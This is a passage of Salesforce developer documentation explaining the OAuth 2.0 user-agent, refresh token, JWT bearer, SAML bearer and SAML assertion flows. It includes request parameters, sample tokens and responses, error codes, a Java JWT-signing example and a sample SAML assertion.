The user-agent authentication flow is used by client applications (consumers) residing in the user's device. This could be implemented in a browser using a scripting language such as JavaScript, or from a mobile device or a desktop application. These consumers cannot keep the client secret confidential. The authentication of the consumer is based on the user-agent's same-origin policy. Unlike the other authentication flows, the client application receives the access token in the form of an HTTP redirection. The client application requests the authorization server to redirect the user-agent to another web server or local resource accessible to the user-agent, which is capable of extracting the access token from the response and passing it to the client application. Note that the token response is provided as a hash (#) fragment on the URL. This is for security, and prevents the token from being passed to the server, as well as to other servers in referral headers. This user-agent authentication flow doesn't utilize the client secret since the client executables reside on the end-user's computer or device, which makes the client secret accessible and exploitable. Warning: Because the access token is encoded into the redirection URI, it might be exposed to the end-user and other applications residing on the computer or device. If you are authenticating using JavaScript, call window.location.replace(); to remove the callback from the browsers history. The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.

2287

Develop

Authenticating Remote Access Application OAuth

1. The client application directs the user to Salesforce to authenticate and authorize the application. 2. The user must always approve access for this authentication flow. After approving access, the application receives the callback from Salesforce. After a consumer has an access token, they can use the access token to access Salesforce data on the end user's behalf and a refresh token to get a new access token if it becomes invalid for any reason. The user-agent flow does not support out-of-band posts. Direct User to Salesforce to Obtain Access Token To obtain authorization from the user to access Salesforce data on his or her behalf, the client directs the user to the authorization endpoint with the following parameters:
response_typeValue must be token for this flow. client_idConsumer key from the remote access application definition. redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in

the remote access application definition exactly. This value must be URL encoded. stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional. scopeThe scope parameter enables you to fine-tune what the client application can access in a Salesforce organization. See Scope Parameter Values on page 2290 for valid parameters. displayChanges the login page's display type. This parameter is optional. The only values Salesforce supports are: pageFull-page authorization screen. This is the default value if none is specified. popupCompact dialog optimized for modern web browser popup windows. touchmobile-optimized dialog designed for modern smartphones, such as Android and iPhone.

promptSpecifies how the authorization server prompts the user for reauthentication and reapproval. This parameter is

optional. The only values Salesforce supports are: loginThe authorization server must prompt the user for reauthentication, forcing the user to log in again.

2288

Develop

Authenticating Remote Access Application OAuth

consentThe authorization server must prompt the user for reapproval before returning information to the client. It is valid to pass both values, separated by a space, to require the user to both log in and reauthorize. For example:
?prompt=login%20consent

The following is an example URL where the user is directed to:


https://login.salesforce.com/services/oauth2/authorize?response_type=token& client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD ZrXcPCmBv4o.8ds.5iE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fuser_callback.jsp& state=mystate

User Approves Access and Client Receives Callback from Salesforce The user is asked to log in to Salesforce if they are not already logged in. Then Salesforce displays an approval page, asking the user to approve the application access. If the user approves the access, they are redirected to the URI specified in redirect_uri with the following values after the hash sign (#). This is not a query string.
access_tokenSalesforce session ID that can be used with the Web services API. refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.

You should treat it like the users password and use appropriate measures to protect it. Note: The refresh token for the user-agent flow is only issued under one of the following circumstances: The redirect URL uses a custom protocol. The redirect URL is exactly https://login.salesforce.com/services/oauth2/success, or on Sandbox, https://test.salesforce.com/services/oauth2/success.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1: https://na1.salesforce.com. idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2308. signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

The following is an example of the callback from the server. Note the response is behind a hash, rather than as HTTP query parameters:
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21AR8 AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbberKGk 8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKkDpB4xR eb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&expires_in=7200&state=mystate

If the user denies access or an error occurs during this step, they are redirected to the redirect_uri with an error code and the description of the error in the URI, after the hash tag (#). This is not a query string.
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required

2289

Develop

Authenticating Remote Access Application OAuth

invalid_requestmust use HTTP GET invalid_requestout-of-band not supported access_deniedend-user denied authorization redirect_uri_missingredirect_uri not provided redirect_uri_mismatchredirect_uri mismatch with remote access object immediate_unsuccessfulimmediate unsuccessful invalid_grantinvalid user credentials invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string. The following is an example error redirect URI:


https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Refresh Token Flow Using the Access Token Using Identity URLs

Scope Parameter Values


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The scope parameter enables you to fine-tune what the client application can access in a Salesforce organization. The valid values for scope are:

2290

Develop

Authenticating Remote Access Application OAuth

Value
api

Description Allows access to the current, logged-in users account over the APIs, such as REST API or Bulk API. This also includes chatter_api, allowing access to Chatter API resources. Allows access to only the Chatter API resources. Allows access to all data accessible by the logged-in user. full does not return a refresh token. You must explicitly request the refresh_token scope to get a refresh token. Allows access only to the identity URL service. See Using Identity URLs on page 2308. Allows a refresh token to be returned if you are eligible to receive one. Allows access to Visualforce pages. Allows the ability to use the access_token on the Web. This also includes visualforce, allowing access to Visualforce pages.

chatter_api full

id refresh_token visualforce web

All scope values automatically include id, so that regardless of which values for scope you pass, you always have access to the identity URLs. As a user approves applications, the value of the scope is stored with the refresh token. For example, if a user approves an application with a scope of id, the refresh token is created with scope=id. Then, if the user approves a second application with a different scope, for example api, the refresh token is created with scope=api. For both a JSON or SAML bearer token requests, the request looks at the scopes of all the previous refresh tokens and combines them. Given the previous example, the result is an access token with scope=id%20api. The following is a sample request setting the scope parameter with the api, id, and web values.
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_ id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth /useragent_flow_callback.jsp&scope=api%20id%20web

OAuth 2.0 Refresh Token Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

After the consumer has been authorized for access, they can use a refresh token to get a new access token (session ID.) This is only done after the consumer already has received a refresh token using either the Web server or user-agent flow. It is up to the consumer to determine when an access token is no longer valid, and when to apply for a new one. Bearer flows can only be used after the consumer has received a refresh token.

2291

Develop

Authenticating Remote Access Application OAuth

The following are the steps for the refresh token authentication flow. More detail about each step follows: 1. The consumer uses the existing refresh token to request a new access token. 2. After the request is verified, Salesforce sends a response to the client. Consumer Requests Updated Access Token A consumer can use the refresh token to get a new session as needed. The consumer should make POST request to the token endpoint, with the following parameters:
grant_typeValue must be refresh_token for this flow. refresh_tokenRefresh token from the approval step. client_idConsumer key from the remote access application definition. client_secretConsumer secret from the remote access application definition. This parameter is optional. formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded json xml The following example is the out-of-band POST body to the token endpoint:
POST /services/oauth2/token HTTP/1.1 Host: https://login.salesforce.com/ grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0 QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571 &refresh_token=your token here

Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one of the following:
Accept: application/json Accept: application/xml Accept: application/x-www-form-urlencoded

Salesforce Server Sends a Response After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. instance_urlURL indicating the instance of the users organization. In this example, the instance is na1: https://na1.salesforce.com. idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2308. signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

The following is a JSON example response from Salesforce:


{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "issued_at":"1278448384422","instance_url":"https://na1.salesforce.com", "signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=",

2292

Develop

Authenticating Remote Access Application OAuth

"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}

The following is an XML example response:


<Oauth> <access_token>00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNB aT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4 </access_token> <instance_url>https://na1.salesforce.com</instance_url> <id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id> <issued_at>1278448101416</issued_at> <signature>CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe+fVg=</signature> </Oauth>

The following is an URL encoded example:


access_token=00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7TrqoDjoNIWQ2 ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4 &instance_url=https%3A%2F%2Fna1.salesforce.com &id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx0000000BV7z%2F005x00000012Q9P &issued_at=1278448101416 &signature=CMJ4l%2BCCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe%2BfVg%3D

If a problem occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_client_credentialsclient secret invalid invalid_requestsecret type not supported invalid_grantexpired access/refresh token invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

2293

Develop

Authenticating Remote Access Application OAuth

The following is an example of an error response:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 JWT Bearer Token Flow OAuth 2.0 SAML Bearer Assertion Flow

OAuth 2.0 JWT Bearer Token Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

JSON Web Token (JWT) is a JSON-based security token encoding that enables identity and security information to be shared across security domains. The OAuth 2.0 JWT bearer token flow defines how a JWT can be used to request an OAuth access token from Salesforce when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by a digital signature applied to the JWT. More detailed explanations of a JWT and the JWT bearer token flow for OAuth can be found at:
http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer http://tools.ietf.org/html/draft-jones-json-web-token

Overview of OAuth 2.0 JWT Bearer Token Flow The OAuth 2.0 JWT bearer token flow is similar to a refresh token flow within OAuth. The JWT is POSTed to the OAuth token endpoint, which in turn processes the JWT, and issues an access_token based upon prior approval of the application. However, the client doesnt need to have or store a refresh_token, nor is a client_secret required to be passed to the token endpoint. JWT bearer flow supports two algorithms: HMAC SHA256 and RSA SHA256. HMAC SHA256 uses the consumers secret as the signing secret, while RSA SHA256 uses an uploaded certificate. The OAuth 2.0 JWT bearer token flow involves the following general steps: 1. The developer creates a new or uses an existing remote access application and may optionally register an X509 Certificate. This certificate corresponds to the private key of their application. When the remote access application is saved, the Consumer Key (OAuth client_id) and Consumer Secret are generated and assigned to the application.

2294

Develop

Authenticating Remote Access Application OAuth

2. The developer writes an application that generates a JWT, and signs it with their consumer secret (HMAC) or their certificate (RSA). 3. The JWT is POSTed to the token endpoint https://login.salesforce.com/services/oauth2/token. 4. The token endpoint validates the signature using the consumer secret (HMAC) or the certificate registered by the developer (RSA). 5. The token endpoint validates the audience (aud), issuer (iss), validity (exp), and principal (prn) of the JWT. 6. Assuming the JWT is valid and the application has been previously authorized by the user or administrator, Salesforce issues an access_token. Note: A refresh_token is never issued in this flow.

Creating a JWT Bearer Token The developer must create a valid JWT bearer token that conforms to either HMAC SHA256 or RSA SHA256. The following rules are for RSA SHA256; HMAC SHA256 is similar. The issuer (iss) must be the OAuth client_id or the remote access application for which the developer registered their certificate. The audience (aud) must be https://login.salesforce.com or https://test.salesforce.com. The principal (prn) must be the username of the desired Salesforce user. The validity (exp) must be the expiration time of the assertion, within five minutes, expressed as the number of seconds from 1970-01-01T0:0:0Z measured in UTC. The JWT must be signed using RSA SHA256. The JWT must conform with the general format rules specified here: http://tools.ietf.org/html/draft-jones-json-web-token.

To construct a JWT bearer token, do the following: 1. Construct a JWT Header in the following format: {"alg":"RS256"}. 2. Base64url encode the JWT Header as defined here: http://tools.ietf.org/html/rfc4648#page-7. The result should be similar to this: eyJhbGciOiJSUzI1NiJ9. 3. Construct a JSON Claims Set for the JWT with the iss, prn, aud, and exp:
{"iss": "3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ ukXnVjzRgSuQqGn75NL7yfkQcyy7", "prn": "Pierre_Delacroix@SeattleApps.com", "aud": "https://login.salesforce.com", "exp": "1333685628"}

4. Base64url encode the JWT Claims Set. For example:


eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoO UFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsIC Jwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnbWFpbC5jb20iLCAiYXVkIjogImh0dHB zOi8vbG9naW4uc2FsZXNmb3JjZS5jb20iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ

5. Create a new string for the encoded JWT Header and the encoded JWT Claims Set, in this format:
encoded_JWT_Header + "." + encoded_JWT_Claims_Set

2295

Develop

Authenticating Remote Access Application OAuth

In the following example, the encoded JWT Header is highlighted:


eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa 3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3V RcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnb WFpbC5jb20iLCAiYXVkIjogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20 iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ

6. Sign the resulting string using SHA256 with RSA. 7. Create a new string of the string from this step, in the following format:
existing_string + "." + base64_encoded_signature

In the following example, the start of the base64 encoded signature is highlighted:
eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4 bm1BaUcxeFY0b0hoOUFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5Z mtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnbWFpbC5jb20iLCAiYXVkIj ogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20iLCAiZXhwIjogIjEzMzM2ODU2Mjg ifQ.iYCthqWCQucwi35yFs-nWNgpF5NA_a46fXDTNIY8ACko6BaEtQ9E6h4Hn1l_pcwcK I_GlmfUO2dJDg1A610t09TeoPagJsZDm_H83bsoZUoI8LpAA1s-2aj_Wbysqb1j4uDToz 480WtEbkwIv09sIeS_-QuWak2RXOl1Krnf72mpVGS4WWSULodgNzlKHHyjAMAHiBHIDNt 36y2L2Bh7M8TNWiKa_BNM6s1FNKDAwHEWQrNtAeReXgRy0MZgQY2rZtqT2FcDyjY3JVQb En_CSjH2WV7ZlUwsKHqGfI7hzeEvVdfOjH9NuaJozxvhPF489IgW6cntPuT2V647JWi7ng

The follow Java code is a simple example of constructing a JWT bearer token:
import import import import org.apache.commons.codec.binary.Base64; java.io.*; java.security.*; java.text.MessageFormat;

public class JWTExample { public static void main(String[] args) { String header = "{\"alg\":\"RS256\"}"; String claimTemplate = "'{'\"iss\": \"{0}\", \"prn\": \"{1}\", \"aud\": \"{2}\", \"exp\": \"{3}\"'}'"; try { StringBuffer token = new StringBuffer(); //Encode the JWT Header and add it to our string to sign token.append(Base64.encodeBase64URLSafeString(header.getBytes("UTF-8"))); //Separate with a period token.append("."); //Create the JWT Claims Object String[] claimArray = new String[4]; claimArray[0] = "3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQukXnVjzRgSuQqGn75NL7yfkQcyy7"; claimArray[1] = "Pierre_Delacroix@SeattleApps.com"; claimArray[2] = "https://login.salesforce.com"; claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300); MessageFormat claims; claims = new MessageFormat(claimTemplate); String payload = claims.format(claimArray); //Add the encoded claims object

2296

Develop

Authenticating Remote Access Application OAuth

token.append(Base64.encodeBase64URLSafeString(payload.getBytes("UTF-8"))); //Load the private key from a keystore KeyStore keystore = KeyStore.getInstance("JKS"); keystore.load(new FileInputStream("./path/to/keystore.jks"), "keystorepassword".toCharArray()); PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias", "privatekeypassword".toCharArray()); //Sign the JWT Header + "." + JWT Claims Object Signature signature = Signature.getInstance("SHA256withRSA"); signature.initSign(privateKey); signature.update(token.toString().getBytes("UTF-8")); String signedPayload = Base64.encodeBase64URLSafeString(signature.sign()); //Separate with a period token.append("."); //Add the encoded signature token.append(signedPayload); System.out.println(token.toString()); } catch (Exception e) { e.printStackTrace(); } } }

Using a JWT Bearer Token JWT bearer tokens should be POSTed to the token endpoint at
https://login.salesforce.com/services/oauth2/token or https://test.salesforce.com/services/oauth2/token.

When POSTed, the following parameters are required:


grant_type: urn:ietf:params:oauth:grant-type:jwt-bearer. assertion: The JWT bearer token, base64url-encoded.

Additional standard parameters:


format: Format of the response may be specified as in an OAuth flow, using the token parameter, or an HTTP Accepts

header. scope: Scope is not supported in the flow. The value for this parameter is the combination of scopes from previous approvals.

Here is a sample token request:


POST /services/oauth2/token HTTP/1.1 Host: login.example.com Content-Type: application/x-www-form-urlencoded grant_type= urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=PHNhbWxwOl...[omitted for brevity]...ZT

Server Validates the Token After the request is verified, Salesforce sends a response to the client. Token responses for the OAuth 2.0 JWT bearer token flow follow the same format as authorization_code flows, although no refresh_token is ever issued. A JWT OAuth

2297

Develop

Authenticating Remote Access Application OAuth

2.0 bearer assertion request looks at all the previous approvals for the user that include a refresh_token. If matching approvals are found, the values of the approved scopes are combined and an access_token is issued. If no previous approvals included a refresh_token, no approved scopes are available, and the request fails as unauthorized. Errors If there is an error in processing the JWT bearer token, the server replies with a standard OAuth error response, including an error and an error description containing additional information regarding the reasons the token was considered invalid. Here is a sample error response:
HTTP/1.1 400 Bad Request Content-Type: application/json Cache-Control: no-store { "error":"invalid_grant", "error_description":"Audience validation failed" }

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token OAuth 2.0 Refresh Token Flow

OAuth 2.0 SAML Bearer Assertion Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

A SAML assertion is an XML security token, generally issued by an identity provider and consumed by a service provider who relies on its content to identify the assertions subject for security-related purposes. The OAuth 2.0 SAML bearer assertion flow defines how a SAML assertion can be used to request an OAuth access token when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by the digital signature applied to the SAML assertion. A more detailed explanation can be found here: http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

Overview of OAuth 2.0 SAML Bearer Assertion Flow


The OAuth 2.0 SAML bearer assertion flow is similar to a refresh token flow within OAuth. The SAML assertion is POSTed to the OAuth token endpoint, which in turn processes the assertion, and issues an access_token based upon prior approval

2298

Develop

Authenticating Remote Access Application OAuth

of the application. However, the client doesnt need to have or store a refresh_token, nor is a client_secret required to be passed to the token endpoint. The following are the general steps involved in using the OAuth 2.0 SAML bearer assertion flow: 1. The developer creates a remote access application and registers an X509 Certificate. This certificate corresponds to the private key of their application. . When the remote access application is saved, the Consumer Key (OAuth client_id) is generated and assigned to the application. 2. The developer writes an application that generates a SAML assertion, and signs it with their private key. 3. The assertion is POSTed to the token endpoint https://login.salesforce.com/services/oauth2/token. 4. The token endpoint validates the signature using the certificate registered by the developer. 5. The token endpoint validates the Audience, Issuer, Subject, and validity of the assertion. 6. Assuming the assertion is valid and the application has been previously authorized by the user or administrator, Salesforce issues an access_token. Note: A refresh_token is never issued in this flow.

Creating a SAML Bearer Assertion The developer must create a valid SAML bearer assertion that conforms to the following rules: The Issuer must be the OAuth client_id or the remote access application for which the developer registered their certificate. The Audience must be https://login.salesforce.com or https://test.salesforce.com. The Recipient must be https://login.salesforce.com/services/oauth2/token or https://test.salesforce.com/services/oauth2/token. The Subject NameID must be the username of the desired Salesforce user. The SAML assertion must conform with the general format rules specified here: http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer. When POSTed to the token endpoint, the assertion must be encoded using base64url encoding as defined here:
http://tools.ietf.org/html/rfc4648#page-7

The following is a sample assertion:


<?xml version="1.0"?> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="C625490D-C2B9-15BE-6DFA-7286288D9655" IssueInstant="2012-04-04T06:54:14Z" Version="2.0"> <saml:Issuer>3MVG9PhR6g6B7ps45QoRvhVGGMmR_DT4kxXzVXOo6TTHF3QO1nmqOAstC92 4qSUiUeEDcuGV4tmAxyo_fV8j</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <ds:Reference URI="#C625490D-C2B9-15BE-6DFA-7286288D9655"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <ds:DigestValue>f187DeCiwFhhH2etlU+5byskey4=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>iBoeMUxG4v/NAC+i74/UnHDcX45YeMXh09e2hik/T5dIqtUZt9dg1

2299

Develop

Authenticating Remote Access Application OAuth

Yp9mP4P3YIsuQ1KhyHRFKlOfUiYNSpv1qH6R7tYgpHMKE9VVc7foLE8Pv0N1VJPoCeh+qYTRv0Itvq jmZVgFzp5gN41OJRnztp1Y9OxFE0RgWxHaTasI6LMI/3xVH+fd/ccfUcu876repVQlf9KQROg1dN1M NzBsk2f0RDZao2+k2UXMwP9KWoW9E/xiwjlhFq14leHeWYhIhGy1rLTqQiIc7k/T54THyRnpClDkRv GWogx7ihiMZ7+fLwwgbfRtrDOS0JZOM4L34YWa/cb9hpVvqvRBPtsng==</ds:SignatureValue> </ds:Signature> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">Pierre_Delacroix@SeattleApps.com </saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData Recipient="https://login.salesforce.com/services/oauth2/token" NotOnOrAfter="2012-04-04T07:04:14Z"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2012-04-04T06:54:14Z" NotOnOrAfter="2012-04-04T07:04:14Z"> <saml:AudienceRestriction> <saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2012-04-04T06:54:14Z" SessionIndex="ED868FE5-841D-5192-766C-941A60D6602F"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion>

Using SAML Bearer Assertions SAML bearer assertions should be POSTed to the token endpoint at
https://login.salesforce.com/services/oauth2/token or https://test.salesforce.com/services/oauth2/token.

When POSTed, the following parameters must be provided:


grant_type: urn:ietf:params:oauth:grant-type:saml2-bearer Required. assertion: The SAML bearer assertion, encoded using base64url as defined here: http://tools.ietf.org/html/rfc4648#page-7 Required.

Additional standard parameters:


format: Format of the response may be specified as in an OAuth flow, using the token parameter, or an HTTP Accepts

header. scope: Scope is not supported in the flow. The value for this parameter is the combination of scopes from previous approvals.

Here is a sample token request:


POST /services/oauth2/token HTTP/1.1 Host: login.salesforce.com Content-Type: application/x-www-form-urlencoded grant_type= urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Asaml2-bearer&assertion=PHNhbWxwOl...[omitted for brevity]...ZT

2300

Develop

Authenticating Remote Access Application OAuth

Server Sends a Response After the request is verified, Salesforce sends a response to the client. Token responses for the OAuth 2.0 SAML bearer token flow follow the same format as authorization_code flows, although no refresh_token is ever issued. Note: A SAML OAuth 2.0 bearer assertion request looks at all the previous approvals for the user that include a refresh_token. If matching approvals are found, the values of the approved scopes are combined and an access_token is issued. If no previous approvals included a refresh_token, no approved scopes are available, and the request fails as unauthorized. Errors If there is an error in processing the SAML bearer assertion, the server replies with a standard OAuth error response, including an error and an error description containing additional information regarding the reasons the token was considered invalid. Here is a sample error response:
HTTP/1.1 400 Bad Request Content-Type: application/json Cache-Control: no-store { "error":"invalid_grant", "error_description":"Audience validation failed" }

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token OAuth 2.0 Refresh Token Flow

SAML Assertion Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The SAML assertion flow is an alternative for organizations that are currently using SAML to access Salesforce, and want to access the Web services API the same way. The SAML assertion flow can only be used inside a single organization. You do not have to create a remote access application to use this assertion flow. Clients can use this to federate with the API using a SAML assertion, in much the same way as they would federate with Salesforce for Web single sign-on. See About Single Sign-On on page 681. The following are the general steps for using this flow. Many of the steps are described in more detail below. 1. Configure SAML on page 2302 for your organization. You must use SAML version 2.0.

2301

Develop

Authenticating Remote Access Application OAuth

2. Exchange a SAML assertion for an access token. 3. Salesforce sends the response. 4. Use a JSON parser to process the response and extract the access_token. Configuring SAML for OAuth To configure your organization to use SAML, follow the instructions in Configuring SAML Settings for Single Sign-On. Once you have configured SAML, you can use the exact same configuration for both Web and API federation. Two URLs are provided after you configure SAML for your organization:
Salesforce.com Login URLUse this URL when doing Web single sign-on. OAuth 2.0 Token EndpointUse this URL when exchanging a SAML assertion for an access token to be used with

the API. When generating SAML assertions to be used with the token endpoint, the recipient URL in the assertion may be the value from either the OAuth 2.0 Token Endpoint or the Salesforce.com Login URL. Exchange a SAML Assertion for an Access Token In order to exchange a SAML assertion for an access token, your client must obtain or generate a valid SAML response and POST this to the token endpoint. The method of obtaining this response is up to the client to determine. Once the client has a valid response, it sends the following parameters:
grant_typeValue must be assertion for this flow. assertionA Base-64 encoded SAML response that would normally be used for Web single sign-on assertion_typeMust be urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded json xml The following is the body of an example of an out-of-band POST made to the https://login.salesforce.com/services/oauth2/token:
grant_type=assertion&assertion_type= urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser& assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .

Salesforce Server Sends a Response After the SAML response is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2308. The following is an example response from Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "instance_url":"https://na1.salesforce.com","access_token": "00Dx0000000BV7z!AR8AQNhMmQeDIKR0.hZagSTaEPCkmoXeYnkaxQnqWlG6Sk9U3i3IFjEH IzDlsYdU0qoVCXNJtPOwdb7u5rKfq9NldfAKoQjd"}

2302

Develop

Authenticating Remote Access Application OAuth

If an error occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_assertion_typespecified assertion type is not supported invalid_grantinvalid authorization code invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
